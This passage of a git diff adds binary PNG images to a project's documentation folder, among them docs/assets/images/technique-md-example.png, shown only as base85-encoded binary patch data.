z2TRBy7o_l4$!n&emovkSGsnwbMS|^vSCRe?L9@OO{fp>@!4s0%x~d{Sb_f@vtq%zH z1xKnXPEjJ+-bjH7sIA9L9b9R~fXbyt)|86SklXXc*BNOCu03ZPoWrFVz&FRcJ6tzh zkxI!1vusPV?ID!YmW>qKnyw0Skl&cacbXwH0F!mB&Utd}TT2c}bd&&WaNlpu)m+<= zPikfje%VykNjh{rix($sd09F-a*s1wkiyF;G0e8|pEbMu^8WMUP5llG4&)er(2#DR z>DOV@#06$cJ?mXh8TvHSHd>6s|1GGeke z1*Ii)^^zB*mpuLc$QD-Si^`;IHz$P;kZf)wjD8|LkQi9ApGuo4^h~~Du{nI8HCJCM z+Ot)EFkyb>(n{xC>}yys0For2#(}-K9CTPO?2#p$l;}3+sTKtD-GO(j`QAzJ^p@hr z={5h{R5OOeIp1#VG=n&Nj~>db!0ikK=Yg= zgqttX>;o1B1|JemiZ`TE?H+4-r{5W$t0sw*B0URqz@De|cb})4rvp)fJFKj*nZ?i9{}Rul zw0XLBzWLO=acEWD%ZVDtT>hi=an~>`R;K-uDS=A~S zZ<28_fiL{UU@Au^(5~pvvug<_<$a+n^aywJDBowK=uh=Nv;=&mPHWh51YU+w?wz-| zbbMb9T6Q>TsTMZCRWSE?Zb@BTD4$JSr*Os)&idWvcfy$0MMZMv6W5&7h|Nve9XOju z&fOq>A3}KRh)AiIIs>XOv4Cep<#q9BIZyoTkGbJXnFp4dw5A57t6p_wljCse@Y57% zRMFdiQ zr>-D@6Xz~?F8<~bVaQVEE{0|{eavUS`l+cO@2*9&zRP4(L8}gJ0bLJmW8QJ~Pa0uL z-Gai@ltkjIsN(5tpRN?25OPN@wgLCV+5v-`PGZ)580l>N-3b+zfIiNWZCHIOzO*M5>w4c(Xt#}q(RU#0`VbgYE22Vy1`3C5d6?IH? z(84+BE;|8ehMl& z==SZ-)1Lw-W&~j1`v*pMGCK;Q3oB0cImdwo&#ndp#DBYk(rEj?Y;+IMNzBy)U0l|0 zLt?;wR{oQ8XEzl@=|FaA8#cE>OXvPj@B{M)On3@w#J~Ws4>zF<{mFEFlQ60Ts98Ok zZz{*Q*Y@!ZQAnT(82aTB% z-f8eyQYX_nIy%kyGZi|hEy=x2Wzo+L zxpA~l%V`j7x-nAOxEnXvA)h|J)4}}!wrz-fdOyt}cSPNQE)T^km^%5s7j0DU&+P+L z;hGLbvpoK6E1s-Lhf;ACpw-0OoP?`WC3${1i1eob$vkUPIF*2HTfpg02I&QPUfKlV<2HKa ztUdu?+GJlS*==Nnx*Qr5;Lk^r)^7AtE-hD=-|sE3CQ?z*i>zZ6}4 zyJ9}3BPZ~S?cg6-oYJi8+pErE~jh&3T4bD}$mvOb+yNKp#MK{JQ?Pprm zDkIae^boqE4kN@R2|{AO2RHdPwV%{BcW`ZFl$NObW^KAx$54Nou`$QkJvWs>zcoYp zc^zAC=rBWn?w3S1KF_NMJj%}loa2I%cc1q!tcN}97kn#R1rL#U1skobj*ZN8$;Yxf zJR%AP#Y82|q7x+R#ETErvH?5NsKm{SLsX`9P*eIKaZ77%U_fr$?<`bGd!uDwhpsI=iqtpA(8-UX{# z6#jt)Ed8vY<@+_Umy9e(5RS z_Nxx}wtU1HV^-a(iCv$2sjNX4ZiC%BZpx-+*dFo?uQn)AsQ`Vml^a z?)PqnTAl&Dvi4I?4CEK*wfnJMss`{9wP5PNI&~@B zJD)jz$5N?*HRHjHN8RtHd6XP60(txSz7F-4maB!;y{)L0a>0Z|2E+jGG0H@5=!%;V z<2R^92U2mkz4g##&dV7Zy*3Dce<3}%Dsf%83fIOjZFKz&~D@=!?SaPM5loKuk+du)xo-<{~c>&2Ym8)uWh?@*|>#tQY zQ#}{#6F(at9^VU35NeBu6?plA7J-3jojqeDxNB(p4Zsc)-DqMkJ!n&0w>!>@{3bG8 zeqwYtk@^wY`x^m%6vVFF<|!mv+eq$gt=gI+W>t27wP0|Gd9qMyv-!>^w)Ir|dt?-V zXG70-#G&@*pKcB>3mHtJQ?=`nKGCGTD(hE0HAhBh8kBTvgPidCa^m@MRU)hDs(CMg z(0r26EO7!nd3<}OGpT8!7w&)&8^bx+yD=|*``aAmX=;FWE3#1EhWD>vPzhH}7 z8A?=D_m0C+d-6fF=gNJzZR!Z)dfWv&e2Rqr7KxB_Nw!}d(-7|C-ofTu-5aBc)7X)_O<12hl`qX(#RxxWe98C= zjk;U1z4(}qR>@wiItsr`MX(<96Zws*Y+>Q;3*Xxv9`!o*`c(biDhM$uRr?^cZ*e~& zac({K2(@ls=ie_YQ{jC7XRfUiA=FwxyNwkr{W)a&{J*>>2Vi|}b?^Kte{92YqK#DV zz*)F@E*)yZEiDnhBG0BVn5dak ziozm{gj{?1kxyQ2WxAe@k+GfKA!`|;m^0FIBD9R}^`Fz zDOvo%zU+AW>9-p<|Bs7H#W$%bvE^(%j^pO51Gy!tREneMTB4yW#IyMH)A=S+Y>AgJ z_oFfM4EMO$UgU9^KG3(ZFxwlK>*SYKPV^vGaaMPo;shnF9Wn^Z~JuyRC-fK4W z$!55#7-~QKq*%eA8V%&-^yN<@8xq>D6%)(F&P5!K=L;(@%rS!gRNpE~t=N5?Q7XD` zvI&a5{YtUXII_6dJEHhQt96u|*S?AmQ$$t;Elo{s<4A;VKjp8w_u3z**c7tI!l+0) z1-p?LMCIEe-3KbaO=(BM73lYaFqbP-7`+gsIyq(UMDu zT~WJ=4ndF-h6p97irU7ww6>_Rv|}l%u`g9iwQ8&Fw$s*9Tg%u|%Z)9TSgM$~cWx(r z+Rii2{p_d=mt%Dq!U<)j;vn!Zlz8IVmu>isblKvMScy-x$EoPrXec?WI^rF11^J7^v(_ z>0+p>y|ztCl{>)P!3e;OYR)h0*cxo!r*F;a?CUu;(!(7?D7*E3+j^t78;*hkj_OB6 z4||u9X}|6-#0xhK(CJ&)Ff~v)O4G^5ZO2R}{>XR&CzSDX{vy&~$(O3F`iptM99)5!Dje8))VJwVBCAa?#***O^wzFs_cWvTj%A1&?&k7vgC2^>cxx=V-_7 z1TB-hq{E^$78b^iSXJ;D7Hf*?gPtgATPL~z(Zg>%JvMi^?jn$+-ebBx1rQ z+248YhB4LQH%gKe8Pl>GeY_8;DL{jy@X8zSq?PZ?Wm^%zg`;N7I8jF%WRqD=teap>vX z*L`L8j$G1*9+y|nEY2IR2Ke|=Pgsk^nU+H$Rw{SN_1iOx^#MEnFZe|6QlmxxgPY&M zH4%D**rRJd{SEL&_8S(ovE zL~OT=kWn-Xn~czDVNUGaRJoY%E$k8=4g#3L{_Ys-zdbSBF+Qc9a5X^sNLsvAR!P^W z_er@pM@Ox5!T}G~S_&}=teoH{nAyzy^It&t0jfy~H{H`qaVn4TsiliO`}n-r(>Cin zKe!i}DH%&dJPc)HumiEomiFGjno7U@bCdAHvx!E51nHRNTI^+4rHtd$+{$`oEoI{T zo0Oec*U1~F0RZypYXv?y}0pIxre58*_?*SE%3R z4L#v>NP7^Z*3~mWn%BVrxN@zKE2F&fEV*k+ux&<=XZiu>DV(+5BTW!JFS$NAMB68V zjxtXe%ReXY zkM+M|4tPU6~}@p8IU2k()g7Z zP8owz_iua)zb{$dItuNtp*;Ilhg3UVDC;c%(KL2xh}gu)<4mGu5}hn!jd;-3^KE{! z-J#N_3eUDD?Z$3muhc^x`eKHf^%;DS{zQ*t1w{hO;~t3%Xg60f7Qb|Lng`Wiv9k7@ zo>(b8^&=#el%WY zam1_yTYOm0IOrfrD{2;~>N?QS^&#vb;6ciFPSPE$ z4#!Ph+=8u|&mZ%y@Z|Ur8~PzL-wK0CO2cZP@yi$Hc^2kIa#XMGoYWaTSvVo$@i=kz zn7apsny5-CuY4jX*%Sn&X0-bjZ5o7!JWbm#iR3{?JNqx8Y8*20MZWFpTZGWn?D5!F zZy!Lianwn}?S93a2>ECkUfUy?Pt$_L{kN!X6u<5FiMOr9mO}|f03fHU`7;AGog#^y zNm*t`vus&kLMoogoh|lmiD6(Xt3vl&iiCMgA*xyJ>f;c1Uv4SFeHJJfyzulBS;JIa z5At_+cw=2n5l`;AZ?#A!)d@}0-?zDLG(dDDmAKz5Nu4u!em;uPI`~wN58O3u+rF%_ zysPcH05&X4OEgD2e#RXN(Z(cLBx(-#@Pji4R?{%Xi`sMPwR|3kd(c*S)Wl_E6zAsR;MKnR94}v4(cZU;*K|PJAe1qB0!Et| z+=?o2y_u>A695QxY-I#O zUDJZZS4ukK7F#qHMs-d3*Kkbtw4gtd(N0UeAT16?uaea|amr)1FOCfwpLF-lXhQcg z^%79i?mOftETaAOx@X8^##WPy*n|rf9nKaK+YFjG*Or{a2&TDK;%+XkP2@z2fnODH zfbV2o@U_3xJHf3bdPlw^rGu<2cDJ~h*wT8R(*VcE5T7OhUT~A?Bk(N+bFYb3-F}g9 zPBF0jr&{#mpoRX-ZY}ccV7!_9{P^_aJq2_w0vU%7``dH$IrloG3G~@JDA>9oil>vV z*N`vreGJ~pRASrgy=|#D(IiS~%yb&h$Di2Qt_#PbdkrbPeQlQ(X|*+PU*3Ca3l=k; zJl?}n+iD717l;DB+8Vtd!jxtI&`Ow8763mcReAgXFdt3%{HldN66+@wIJap=PhOFT z2!`KDmm8qD66OZD1@gY6ymVP2k15dDX0(G>xH?q7np6Lz%YPfB8^OkhnCnim{By1S z^=1fXIT#x8tR<9-QG-AC>o43pG~pm_hfz3;!hh*=h=oHe9AbgF<{UEO|A!IeMoC|l z%#ce{L0?one`uetUm?2KxDrnet4>U;b?fMKv4cSe?)?R=@cAp?^SQ)S)fLG9YzwiG zJ#N~6o34%}iGD>Ae_4Mqzs&fuW*0TJu;8sYH-VJdyYac5f62WTFX;&wC&Y`k&*~vq V_TJ6OJeh@Yn4G_0P@(7i<8Sb@tt$Wk literal 0 HcmV?d00001 diff --git a/docs/assets/images/technique-md-example.png b/docs/assets/images/technique-md-example.png new file mode 100644 index 0000000000000000000000000000000000000000..7209f049adb1e7097e135db3890474b34bbdd40a GIT binary patch literal 567228 zcmeFZRZv`A*ENc}6Wk#XoZyYSg#f`JxNGCC!QFxf_mE&6oDOcm-5r7jXsn^JhLi79 zotwY@_pN%KbNf}TeY2~!)EZ;VxyGDp@3;@@O1M~*SO^FRxGKu>S_lZ3NeBoiR~Tr2 z&%Cf2zd=AieB&S|_rXa{NzT>T)kE9O!pcU*+SSrVOG%bjL60?J!Tk|6L<4@N1^N%(kQ z#xQo9mR3S~7?h5FQk|QX-NM{_9N|aim@1a^DJ{LxYc{HJQv^#gL>dfhS47Yp!zr=3 zAi*t7!Nl=^Z>xxCjAtVWOoSfhEQ#f;^_) zp6%|8u&{l6+41u1FpDreWaJl}$eb?>$Pu3;k^8$uMk*9+K3I|GCQ^`NTq5Eczxz;# z1sDB0bC_<*hMourWJLdSAlenp{+(E91QmH19Y4g=&cje@{j5s=)Hr!cKUaGN%?#G+ z{BJrYCJPd0EyIwQm95hl_#0oCF#p;dKX7c!C?Nc`vLAh#bU;yD@TA&njL-C#v3##@ zqF+UhB_{gqcC;OKo*x?;8?SR^k5#In$V>n8vAzF>AkF-Azk8%ZmXHAPACDuVSg-CG z{eOJj|2!%zyGZ)HKO4ZuXE|dJ-7!0{`**h?OO@_4ZIvx)2tA02AKJaVd&Y()VZ?s= z=c6Yby_#R>O*w!vFFOq)S0$u+8Ifg?|I*GRkX8 zF(JNAnSV|NX%tgqB%-9wHki5{HxeWLKOVy@^fSw#v}4?VaV_J;E>Wue>0qa?sOP_7 z0YC^bZYVkFz3ac=FhLku_Fu?&Af0o$3IB#QAWUTeA7|@;h<`(upKX633v@p(m^A)3 zm?f+I<%<>59M!*4{~+^U$Pxn2y$=2jW^T@Z`9edLyZO(#^7nB(+sh|*#9UzY?#Pi z@MO_Nu;!zaLDELeuuotBCuPz{Gx3q7Smr&@aFM&1NAuel_H(#39z4f|Kr;tx#>UxwE@}LA@HsVi_mWapUm{F^1oR zvy0FA=aDvMOHIt-!Wbi1UtvVTD_=r3p8-oJRo_|z_T>k?k#9F9s(498uCD7WEW^&9 zgWs;$A**o72Uxhas{iK%Q^@o;l1nHF%T-SqY2!>wym=vaj}^ zGx6Y~n2fZ(|1=bBHxf|mJfXO8b)UcQ;a|u`n6x95<*3L>scL{T{0D_`&@}!dU)UqL zUG>4CQJ3xm;6G*%zY&ZeS9vR1gexwTa9Ovb3$bIF5_R)mvhRBP%__Fydm>OM_krKD zXK!a>idN6J9y2hX8B0M(Jbyr>r650c8|^phYxAcnkN0LzwYcR(w`KfHq%ew??4T1A ztBH@bdImBt;>LALmoCMvMq5QO*Rvu)jVM1kA0RfD+lyStoq?7`5uqnRTgOrz=f0O8 zs;ER*8IR`oS!MR>txn=e!%Z#fr&i~}_CRsBJT75*dD%djP*{lX zeeij6Z`kWT+~z?ZB?<=yQjXQdKPIZKH7iQpF9jrHy5Jufy_eNM!2z)}e|YRPG?EeVRq^6wk^HJ9IM4kj}L_K_`;$nh=-Zdnb-p zSGRdEm*ofBNgpil@2#t(8aNlHM2+opZ_WmewQq0NTtVFqY@`e~jZVb>WmOSY|89Gq zED5Bw-pcZQaIH;7*U9^Ki0P+j`eO~j8wBbTs~c{_tq?8DhswAYCAVWTd_sG{?~7l5 zbEbfoABIT3_m925%a%KKpnxDRd{KDRI)!JA=+>+-0{07@CgfrQ;zCZ9jn}JtPfSa6 z815d54G!13meoxZe}^?#xqU5q*o-(aQu4b779~iY8?k(vuG(N+&}meGb3(AmJKxKf zc9Jq90Nx77=k|<*dAK)h_+ApU@R#F!OZ)OoU4$i=z%e}4nv_r`k}pH~wJ2UV^@*X7 z)UZ&IergIR;9 zIvpytZG4cKy!@^#5m}O;iGU*Fv5eq>RdkmD^N9vli zfL7D@?0SN)8!dUQ`m)k3vhVmbRQ0~o@5=o;3;-p++EB1c#5J~#JxNVaChA3fZCQ!v>Y)rUZ@ck6D_GyPzPh(-p8CXp}br3 z=rHFvX7v6UJsl}}UTX5^=MqeGPo(~&bKYA&vQ7GRAHUq^00<-l4(|sbFrSULCuGS= zLnp;tm+zJvlJ)=#WZK`K)Ha4(A#Jg~t06DgEnOYMtnFHeO^AOnX?u+t`k-+3G3WZd#XX_D22?9O5KhynwG5#_*e7>@%w@S+2 z7VU9f7L3vE^Fd6_6Yf@=JYO&4@kIdb0=By0GIG;E5ix8T*RDj`Rlw z_+jTwld6#qd?*?C+aX5Wg!>I$KHmLD`SrpfOkNRDr+!be(^L7`XorZVxc}m8d-Rzv zJ|_(2+zrbVM>W20&%q@I86B$`nV5)0W}`>!3IU88pD)=Gb|~k}Z|cxve0+;6_AkOT zu6n%EUjevTzj-SlFkF1n`BX32d&;p0|E?kG6zGm|_wAM?{mvUw4@Q>w*=~gDThP5w zW9&eb;p{O5b9wIP32_KHcwoK8ZPUS=ba8R{0OQ-bT)5GkQLGUzZ2AIL@PkyVvmS^^ z)*n9Zb)I=FC86yvwSH_Q4m!aqTlep6l{BX8oPfSc+USmw5=Vcz6Kwip^F71k@9K+G z9x>!2gh(jz(YiUBm^oM>pYPIb0m^4wzblZr2IA7v1zH=m4AH91v#QPq=Oe3P;GjKp zn$lfcitzA6=q8_^DNBN_D8lopOw9mO^pu_naWO6Sr4GooL`5{15Pf{Op_F8%bQNTY zFtT|Kkg)%wyktDehrM7^cDo~N?SlwlY{8BC`;vS0clS^cm!o?4o$0URdI=NVd6Rd0 z`yZau6?}`1Tf;8ZRv$zeo7lcrx-li-thoH-iJh?#JwPZ5#_si6Wg&9_V;67b*)}{J zuhYInZW;_9Pizzi1u@TTHhP9?rc67wH5wq>eRVca-rf6*Glfc(r(h%}pjU?DFY--u z>EuQ|5HcBV>QZ{zb@O4#g!7BEHKl@pp0Y02WDa8?rJO)`p0h1W6SDhr*82g@$z6oZ zcCy-mHn&7Op&=Ag+R^e#Xv?~ZVt)fjo5*>|ri%eH)Zq5Ppafhj8QrmIAizN z#ua0=B;*|wj0~%*HxyVLuxOwYp6TuFopyP>%R8#fjxqd@9ydJ&_B#dSWw$3^m!#;b zCW<&3qenT1o+P4DiQ6sS8P$d%Q|!6>N-wbdH-|ALyInz=)XrL^H`=%gaBAfVwLETS z1_yc0b^QeSWAGQ<{#}QpxqmlUzpCiy^tmkkyX;z=!rH`OjJ4ZfAEYtrx-7A|CIPo( zU_*EZm_%n#4+8h%GCJ=eMZAa-=Jf^SX>O;6VWA13dW&`&l;nEEj+iH%0xghp{-^@?!#Uzfan3g02H<{4U6P zjVhemlN5~1I;^tmjTL{c5cc>_hgy1&F2y=e-|(}#d(y}fn3 z%UbmWN_Jux9!5*BE>#AX8`km^%8;_-*DfEI*Qre1k^I6Gv{(I3g50PXyu^lGQ5t;F zJKO^5a%d&f=hA0iTT~B|ep@Z;Krc&$xKlR`vsmO#g9?RY-)_8k%H&kleKZ~0mdyI$ zR1_M=H1g?hYI@=jbN5(OPsTT3hp=hFO;!t|q$}Fg9@+$uy2Cfx{L=$A8s2Xz)U7kS z81q#3S88-phCh;-g_00ztVcf*wqn5>%|jWszzF~^r+cEl^(Oe7t5oa$0+(^QOIkpS zbb(TXDi)xA&vZ-7yHk5k?50R{lY>8H-gov@N8ah~EK%P~Bv&2h>d{>r{OFBT^GF>9A=Oz%Q(?QGZKybp>X@w(*{L(Q# zt*<@&Iggp35I%;=v9sJPU*vWUF#-P=0VKPxE`fGL$mPqcdl~)&((R2*9qWH?>r#)@ zS*Y*4tSsoht1S3J(>!JPu2qM-ORpq_}-AjcL5-r3m<4icYP%>|?P2*im} zL6f(=t#mt8^j*>edZXF058p+*NE(F^=m3W`8l}k&U?}!sb zm=j$zFPynvV|Br&u6`sQVI4+m(fVe2(8%E8y~jnW5HK@6@MQvU>;&zrQ;%d+t=!*E zT{#pTRfm2l=kO^>1q*wPSvF;7NXHI}qgv~~g7$#gva-Z5J>bu@zSPxvt3g|R`9CZO zGrGARD6+k24u6>ZIw)Q*DUUDa>P~My^%-hub*E&?1cuGakvx>Nh-pwGHPHYgCEtaE z&>@Ryp>C}udJ&I?_-Rj@nMM85*Z_|$)8yJdz2TTKx{0kGykB*F(6(WDKou_NCx zP|J*{X_5>W%d2b!umQfu7u(r^h(T|@6CAY#X;qB@5Fw`qh%?K2q#(NBhN{$)LHJt{ zzEpJ#JH@$kyQ2(gj(Ym^J*60vOlVKYUZMP}9Xl_xY1m>AmO8EMM>YHxb zICziG;}sHkTb5T=Dy3o#g!FL|WY!nvha(|+izJ1?6;m^LUAjoUnW^r98M?H*Ln1S* zY}Loaw~qm2$oCM)x1ICEOOgKbk?CinPO@QmgURZH5Nvc(T2b3q-sc6U??~iD2`N+rO zkih*1@umH*ul6C8o#INjyVeKc0wNT&adoDz|8vB?KtbZEwI8QJ6=yYObtc5wY|3k0 z1iD*n2zka}4&|rTlb@HH8JVpyOarW8r2ImB^R87a=>?y9h@~a(H6$0-TG$bPNAb7` zE8CrwQ5~o5PHY4i<8LeSjr3|J6h2q0spWQtc+Bte`V)!go?Krq^J+1RO zT5Bv9m1zgyX$;cj66j=NWto^YJJEHy-dhez8p<5WukCZ`WYDh+#4T}#rE3K}HD&s0 z3rXfTy=H4KOh`go)PA0KvKg!4F>rBW2Bh4#pHa4imNO?S4q;+xEPvpeq-DZbuFjdeNd1v02t6Zo^|Q3 z*&wN>F)2gtyv8Y)+U*ZfZPe%;sgM!fim3+w6}J7B8rg=n&r`(PNyLsWE5GLx;fF7K zTdT+XjY5Ltt!-MGp$ek~SRc3!IKeHJCr(s8$Nl)uRXUA>HP|9zF-d7c7tU<)*K?5* zGcQ7GgjDWTp!&P&fVBiA^Q9ux+146a(UH)*;jQI@CTFsvID*a}6z#nVQ%p>;dcz`4l+5u5t= zZ-9Wy{KVF7mOjzM|6DNaY1P=SAW3Rh9)o@ClqDeVMP_5*H>4hL3``r4GfZbsl&%MN zwecGke)?Qbk5{Mp^ZC2Rh);MP#7}QPfh8qR#nx%;+f9qE+sWlblvVWux6DcW&CL?N zcNQkkywnskB3Tr3%p0Jy^Y{UaV$J*!=nTsS7cuT}WI!7kLzU(3v28*fZ`oW*Rz5s| z2foPmV9bI@ShqBHdk2egc|KA1KKg2Y*Ts<|GGJfr8QUo!t&x3v8q6q@Yl8HNHh<@3 z@=OG34ISe~Bm*>Kge*yPT8XL|z5CN807+^x2^llSY0S$nhC8Nhez%oF(V=r&IiWoQ zKaC1DwWEz9X&tH~kaxo5yw+`ho~^ER zE>pLSC=*4nx@TiFi_P9kVD~z9IWVg4E%f%X5}h?O&nA;%3##tD78d9ITZD+j$cDJ4o=Ud;^E+|9v!hBW5y_tojJtZmq9Ll1D!gx&d($_1KYBE zH6Z3@As2z&p)xt=F_*4Sq4lTFjiLLY=jXwSB{QdqOC6gfYO5JUH{DgP^FEK2&X%us zuBt%|MBwem@;05ffz~cRF|%Ob1gcvOkCb896dpIxUDRu&_-6aupM*Pbb9%4if_L zkNF*&AG-tB32z<`6QpZgQw11!!FTCqD;LXb)MukvlUX7v^6!4(2D*z;P!?E}hAvM| zC8yqIY<2$DLoqcHpLoX^cA^v7os^Qe3I&u1Au)kd621_$+;CcXWv#f@sZLN< zPRbt~QXQK>Z~SiN;|d}Clv?6Ka_^+bCd7I2(C@_C^trQu_XnlGy3eBH8q>&LgvLVw zgh9y#Ezcl_6Q!qxEu{v)z?LzzU(mC*!h<%ZxrW41m*Z-)4hq;@NkV8hfjK*Ze zhq^EKhx;}ia~#pQRQ;uKnXON(^&Rq)4V&&&esm6Q;r& z-&;Nn&5vBx;eNk|o|xCxmDidFz1*fa^o&pMj;brrhHFDHvWs&a@(K$2f(0miH0(Fz zicAj+4}67`IleUW@Jyh)TS%6ZoNbbm>F=sWxY^j9aPPmh>VAfM=b5=Ihu*I(osExw zAlIkXbEK7^f*(kRsqgqIwUXX6sZh-q1Ft~3H15k?n$+s9x>}KoUyZoQoo2J`AG-*) zP0zC^l&sI-p%0xvSDVv=q`;ORnKm^^+b5~X-`>0nPE20D7gk@1TGHUvJ5k6i~gO0o}%zY25FCvqH|b>n)7H{!E@BAaRv?;G;KHU)(o3 zclY=Z#Wm0O2r~YzbU^qrX2Om*T>pj5LU#zs6|VASejQ`Pp}_=0Jl<`1(E4z)ps}|X z@npDmeh&4UMCjkLLYQ{Kk0XY6SXN}Qm452iJ5;KJ;a1L(9p`&ndX2ILwwfr|BOkpu zCsIeBdSq_9&!8#`9%0YFXmF$|HtP);9{G(%1b{x`HldFR{1z5{&qlO&(Y$Pvoxy1g zV%|F%zP^*^h??k-t}d?2Yt(fDEzuS`ljtNeEg-xRXkL?U9hylKL;3Q>cr2 zRM{z+?B(cZOc1`6zp(FP5)gigJWF=_w@if{tLhYg0^D=&!8o1d zrV5)zWwP1us(!X?wAekd>jG=SwI zIC1p0UV=<=E{|SN&g5?Ri4vhdyJIgbn9j<3SSzGl`7XETWz%5HtnTblwuggG)>xkI z1R&x9bU{T_%zf2VB2GQ9ZG||5Quz5TEnVyJU(bOhTP$xj&N7Tf!QnUBYcj;FuvXcn zPw?zg&-GE9uDQS?T{Kksy=>^-J}CUr1pD%F(q|}up!pE%P0jepL&oP@`uoG%K;P_B z)z^K}J_o;#8&VlW0Hj0Z&&o%TcI5sti=DpZ*z7z%w<P={vSP9Q4q`8y zu;mNsP$lX=rMzfig#jByYra&mJzs}6RUh@w_kwq1(w|uXBmrAQ-0jz{3GL`xYlgGh zdz4~th3ta+9Z2yK-$pyfxbN*P;@r#Tv4)<~6*izuNmQv+8OubP_AwVQpjxSE70+cs z_gsW~mIuhVzKZyFjpj`%{zpGr%x1jsf5L$dn+LpwG3g7kg#ifsFu%#-F%x$a}Q6B#UVhAUN{Qbf`^i^ru`X;Ky=ryXz-8o%WcJ2I+1CPBd%YgS66@8 ze-V!YM36jYy!0zrnF`+JffIH48KO>x>4J$iJ&zw4x$$Y6E+@89juJji=1JWV=k*~T zoncqGBOl|3)4}{Mrq$jA5pTL}({*d8P*GDhHO|SQ+y@Y1jF9Xi6vuSkXsx;@VzWtL zeu4RYD~vE=-7P>cj`V;$UhA~^x(7Kl6X5TW`oK&_^xUJ|dq0_J;ApyeymhEDE$CNq z9R1Aws`LgfBcRP$P)dZX+HqA9_Ju^mi|AC$Ob897=Q{v7R4izMH)70F+%2ivl zFf%l0ND^TCLy)n=hX2&v-R`t=eC@i@v)#~nIiwH>zYzuocnsLG#BizPs(>CzcM6*c z9(CDW4KTxg8M(rH;@k7#CtEK(@(%vsDAtC9T~MddNwU>hme^*ngMyZhEBtW@XzMbr z1;tiz{nA7e@kw96HRwpAb2jRw6Y_9Qw=Pd55HDRnYcere zYf}4TMcew`^@VQp!3}y$C2AM?(1?9oCDkb%`qr^=4kO$i`*WL;fA?V*h#RdsgQwW8 zer1K(LeA!ArRvoq>9u<*qy#?SlQJ!F{OEh*f38mo0Bg&mKI$PI3psf9$S(!U)p+A5GOn^v$I;yFId!#q0gr?{|EGynabHkGkoL#R*q6 zY?eicr2)Om^it~D1<11$d3}<5SOTR$EEJUNVn{v6#!t&>>_5jGgQa`e zB*JtEfEO^x(woj(qc?xNK{M`@9G@#c3rI2SjvWWA#D8WNigFwGtuNd74!zo&R49Cy z)J7M^AnkB^UuEn)s`)xR!IWp0SA$Ky12kNbk1KodZjxOgf3T&6Fo}eK;#EX{j+h>G zsm0wQTQHsE^xAJ07)ZvkU5ju@WOgf{L)JG*q|IOIG#s=8!p!?p(9CbAvGyAS&#H{g zI9$11HTQC2W5_sX_A87@fNluL9sbsBjT`rNjoX0;>@fQCy|-i^&G1LPAqVdGqiJoH zfUG5@{)wH7hr?ee9l)tF*P}(dmjvHl8T5;zF=$?P8p2KELUGp~cMfyXZ#=LVTwG_P zKU2vvb}}7+HJRTe%w34h#-^mKdhC(`VOgOV@%|H7;I+mT*(1SajCC#6(jG+IO6N-; zYOv}T1KvtoY>)5Z3^)2f5mU-HMI3^+YD$14nQW6k9iu!f?At2QMpKylu+0I5Un}=) zlrWXEoWFrX2VUWow#5`mX^5`UQ(hvf=Yu^=gFxhV<&>b^8_4;)5}n}?h3c0 z&cvS_`~TRlyNe61t&U=;i;x(7Txk-O%Kj!efVEM51o3YBWye}$NlQazr3?2X*lVM& zBIZ1Qm0PA^5J;KQQp;5zGgXJSl=)cHo^aG>63Fr+TS(+n3kKTKE z)I)T==-XjbM08a^;*UR}*3Mr%)mGc})rsd5qUei?tYGUthBOeIZ{-v>!5rzBfyq#> zcG=u(MqNV#8b}FZBwcw)Zcbq@8>dTsp;#P3aY|FnB>}-v4d9$l^z?fS+^B|SY8kII zRTQ=~S8(5wAUir%fX+r#U9MJ;!`u_gT5{ec&HVF%?L~l4rh|a5Xi$VH=I(WRGt`GP zyHtq#9c;`6_Le(Hxl*}3hPZG16w`qDbl_A+xg>jla76#B6!-Fs#86|<%@k~+fHKJY zY5T*gY`k#h4Jzob-U4)+tVgqxT81N5Hy(mL9XHOv*R04I>l?e}jw+Q8KsWNR;a?4d zn5z#}n>-fyp|PQD;Clw@vKlXW6#OEBe0TiSk48$r^_nXNE4Fpo)UbL*t1CK;^l`|O zZZ*vwoV|iR2ZvwBt&OZ;uI8AY_#Re6sJdqLyNR?c+xJM27J>QST3TDHRRxWHt@4=?llATxv~2 zvn>b5NlPx%pjDjoU6_wmcHqZx(i%N4>RYB73`gs(GULuJO+jM2(!?H+oq3fpX*YE!0#!_Ltq{+oy#3e zg;lSenE;+Mh86K{NfPBsdzB*Zc((ppp)~t-^`gQb{HF_C>o+Y~&P+zlNz_2WqNCuU z-pA9!(z7F!eDAqAwLrrXPJ!FO?EJ$luwQ7rPB!T@9W*N)IVR-Rg#Aq63&BJc+;RNT&DqL+Rz+ zlR3Wz%XU910ZzqU5UBsyr}I-$WmHgdNBa_@F8~udR=uMxeSOrU_-6BP_OeE%$*PwRM7_gZrS|2-Ve{c{!F@Z%#CV}?rH$2=ZBG~C$y>g5 zQZjLJnt?l-Ty>##6BuAeotsX$y6_F?3Y;~|0+PfC^OT`#wSe{NHsYftFMo3!_WN18 zR2Bu04UTxenP(zf@cx5uZN8!MV#k1M{eoddImFYS;lv}Q;d%2X5%p+Ah3${k;X%ozrln0s9diA73g3H!JYK}5ohiJuLLc+# zwLGl7HO)yb_1=q?*)cC*tP;?9IY18?l8RX)stYF>uDtt-sg zrikU;92l@))&?B1Slpjd?Ma8aluv9xJxdE+-QmaYlUw?=K|Us-=b@j)*xqQ*Q=w#f zzES5DI`6M_t%RNZ;NBl*$>Z9)$UmTYs`G(2ity667L*4x=>phirt?podcTAML+zvlvmdo z_q<7EYwCDnTC5|yR!CM|=&J4vZnoPW5%=N{Z$qf4=r|6*P8RM$pzR zO~pM|e;h^ESM;@oO0strVDH7i8B&XIiuUS4Ebz=N<2{Bv&*F%oy5opAo`ukgLfhwR z)+Ymv^_*6V%N@KkgQSpW$QkowwTlBOgHKUAUf0I3U{}?H5_w+ITOVtgIVcJ&CnP-M zU^9h!lf5VJYR5_{v;}4t`M!nv4+Sm`oeb5{e(KBK$a4dJs$z4|^ZeT1y`x?Co`Tm} zP?GPeCqXu+zpc=uxDQF<+qZl}sHqDu0z<=jZFevDZ>O$3|CCz*KPDf_6&ZC58q~ZK zSsmFqJ;&$32bwMg8E+?aMk}#62L(k20|2m&hk8Z7iWe$kAFQ zwf6y;j|1HZPLE{t_bu{$%j{PRlf~~B!!iRoEGDhfg(e=qylwvNx~|qEY$Fu{8{QF- zbWlKRu%=pGFA1S1+WH=0qJN~`J>!HdCr*cx{1&a4=RI{W=V8KUA99{Yi77@&;6-!# zY#|k);|{la1mv6K-_|ld7<(>dp&RAfgVO)qh9|3Ue{G~vlG^oscvl3qEX4EEwx9Bh0FQDc#kI2-JphywJNd4^4K9GW$Ho{~)#Su-YWGX*AMPM5h(5-qg|^?s=U 